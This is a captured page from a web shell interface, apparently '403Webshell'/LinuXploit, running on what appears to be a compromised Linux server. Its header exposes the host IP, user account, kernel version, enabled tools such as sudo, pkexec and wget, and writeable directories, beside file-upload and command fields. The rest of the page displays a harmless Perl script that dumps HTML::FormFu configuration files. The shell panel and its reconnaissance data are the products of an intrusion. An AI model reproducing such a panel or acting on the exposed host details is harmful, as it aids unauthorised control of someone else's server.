403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/bin/html_formfu_dumpconf.pl
#!/usr/bin/perl
use strict;
use warnings;
use Config::Any;
use Data::Dumper ();
use Regexp::Assemble;

our $VERSION = '2.05'; # VERSION

if ( @ARGV == 1 && $ARGV[0] =~ /\A --? h(?:elp)? \z/ix) {
    help();
    exit;
}

if ( @ARGV == 1 ) {
    my $file = $ARGV[0];

    # do we have a filename or stem?
    my $regex_builder = Regexp::Assemble->new;

    map { $regex_builder->add($_) } Config::Any->extensions;

    my $regex = $regex_builder->re;
    my $config;

    if ( $file =~ m/ \. $regex \z /x ) {
        $config = Config::Any->load_files({
            files => [$file],
            _config_any_args(),
        });
    }
    else {
        $config = Config::Any->load_stems({
            stems => [$file],
            _config_any_args(),
        });
    }

    die "File not found: '$file'\n"
        if !@$config;

    my ( $filename, $data ) = %{ $config->[0] };

    my $dumper = Data::Dumper->new( [$data] );

    $dumper->Terse(1);
    $dumper->Useqq(1);
    $dumper->Quotekeys(0);
    $dumper->Sortkeys(1);

    print "$filename\n";
    print $dumper->Dump;
}
else {
    die <<ERROR;
html_formfu_dumpconf.pl: requires a single filename argument.
Try "--help" for help.
ERROR
}

sub _config_any_args {
    return (
        use_ext => 1,
    );
}

sub help {
    print <<'HELP';
html_formfu_dumpconf.pl file.conf

html_formfu_dumpconf.pl file # searches for any supported file extensions

html_formfu_dumpconf.pl --help

=head1 DESCRIPTION

Uses Config::Any and Data::Dumper to display how your config file is parsed.
HELP
}

__END__

=head1 NAME

html_formfu_dumpconf.pl - dump configuration files

=head1 VERSION

version 2.05

=head1 SYNOPSIS

    html_formfu_dumpconf.pl F<file.conf>

    html_formfu_dumpconf.pl F<file>

=head1 DESCRIPTION

Uses Config::Any and Data::Dumper to display how your config file is parsed.

=head1 SEE ALSO

Config::Any, Data::Dumper

Youez - 2016 - github.com/yon3zu
LinuXploit